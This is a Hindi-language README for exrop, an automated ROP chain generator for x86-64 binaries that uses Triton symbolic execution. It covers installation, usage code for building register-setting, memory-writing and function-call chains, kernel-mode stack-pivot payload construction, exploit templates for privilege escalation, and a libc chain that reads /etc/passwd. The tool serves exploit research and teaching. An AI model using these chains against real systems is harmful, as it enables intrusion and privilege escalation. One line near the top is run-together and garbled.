
x86-64 बाइनरी के लिए स्वचालित ROP चेन जनरेटर जो प्रतीकात्मक निष्पादन का उपयोग करता है। रजिस्टर/मेमोरी लेखन, फंक्शन कॉल्स, सिसकॉल्स, बैडकैर से बचाव, स्टैक पिवोटिंग, और रिटपोलिन पुनर्लेखन के साथ कर्नेल मोड का समर्थन करता है।
Triton प्रतीकात्मक निष्पादन द्वारा संचालित, x86-64 बाइनरी के लिए स्वचालित ROP श्रृंखला जनरेटर।
rdi=0x41414141, rdi=rax)open("/etc/passwd", 0))pip install git+https://github.com/d4em0n/exrop.git
यह exrop और इसकी Python निर्भरताएँ (pyelftools, ROPGadget, triton-library) स्थापित करता है।
ध्यान दें:
triton-librarypip पैकेज सभी प्लेटफार्मों पर काम नहीं कर सकता है। यदि स्थापना विफल होती है, तो Triton को स्रोत से बनाएँ और Triton निर्भरता के बिना exrop स्थापित करें:pip install --no-deps git+https://github.com/d4em0n/exrop.git pip install pyelftools ROPGadget
विकास के लिए (परीक्षण निर्भरताओं के साथ संपादन योग्य स्थापना):
git clone https://github.com/d4em0n/exrop.git
cd exrop
pip install -e ".[dev]"
git clone https://github.com/d4em0n/exrop.git
export PYTHONPATH=/path/to/exrop:$PYTHONPATH
from Exrop import Exrop
rop = Exrop("/bin/ls")
rop.find_gadgets(cache=True)
# रजिस्टर सेट करें
chain = rop.set_regs({'rdi': 0x41414141, 'rsi': 0x42424242, 'rdx': 0x43434343})
chain.dump()
# मेमोरी में लिखें
chain = rop.set_writes({0x41414141: 0xdeadbeefff, 0x43434343: 0x00110011})
chain.dump()
# मेमोरी में स्ट्रिंग लिखें
chain = rop.set_string({0x41414141: "Hello world!\n"})
chain.dump()
# फंक्शन कॉल
chain = rop.func_call(0x41414141, (0x20, 0x30, "Hello"), 0x7fffff00)
chain.dump()
आउटपुट:
$RSP+0x0000 : 0x00000000000060d0 # pop rbx; ret
$RSP+0x0008 : 0x0000000044444444
$RSP+0x0010 : 0x0000000000014852 # mov rax, rbx; pop rbx; ret
$RSP+0x0018 : 0x0000000000000000
$RSP+0x0020 : 0x0000000000004ce5 # pop rdi; ret
$RSP+0x0028 : 0x0000000041414141
$RSP+0x0030 : 0x000000000000629c # pop rsi; ret
$RSP+0x0038 : 0x0000000042424242
$RSP+0x0040 : 0x0000000000003a62 # pop rdx; ret
$RSP+0x0048 : 0x0000000043434343
$RSP+0x0050 : 0x00000000000060d0 # pop rbx; ret
$RSP+0x0058 : 0x0000000045454545
रेटपोलिन शमन वाले Linux कर्नेल के लिए, kernel_mode=True स्वचालित रूप से थंक प्रतीकों का पता लगाता है, गैजेट्स को पुनर्लिखित करता है, और .text अनुभाग तक सीमित करता है:
from Exrop import Exrop
rop = Exrop("/path/to/vmlinux")
rop.find_gadgets(cache=True, kernel_mode=True)
rop.clean_only = True # खतरनाक साइड-इफेक्ट राइट वाले गैजेट्स को बाहर करें
# रजिस्टर सेट करें
chain = rop.set_regs({'rdi': 0x41414141, 'rsi': 0})
chain.dump()
# पिवट गैजेट्स खोजें (प्रत्यक्ष, JOP-श्रृंखलित, अप्रत्यक्ष)
pivots = rop.stack_pivot_reg('rdi')
for p in pivots[:5]:
p.dump()
# पिवट के लिए पेलोड बनाएँ
payload = pivots[0].build_payload(chain)
exkrop कमांड पिवट चयन और C कोड आउटपुट के साथ कर्नेल ROP श्रृंखला निर्माण के लिए एक इंटरैक्टिव वर्कफ़्लो प्रदान करता है:
exkrop <vmlinux>
# या: python3 -m exkrop <vmlinux>
विशेषताएँ: एक्सप्लॉइट टेम्पलेट्स (privesc, core_pattern overwrite), KASLR-सापेक्ष आउटपुट, पिवट गैजेट ब्राउज़र, आरक्षित ऑफसेट हैंडलिंग, और C कोड जनरेशन। विवरण के लिए exkrop/README.md देखें।
from pwn import *
from Exrop import Exrop
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
rop = Exrop(libc.path)
rop.find_gadgets(cache=True)
bss = libc.bss()
chain = rop.func_call(libc.symbols['open'], ("/etc/passwd", 0), bss)
chain.set_base_addr(0x00007ffff79e4000)
chain.dump()
chain = rop.func_call(libc.symbols['read'], ('rax', bss, 0x100))
chain.set_base_addr(0x00007ffff79e4000)
chain.dump()
chain = rop.func_call(libc.symbols['write'], (1, bss, 0x100))
chain.set_base_addr(0x00007ffff79e4000)
chain.dump()
examples/ निर्देशिका में और उदाहरण।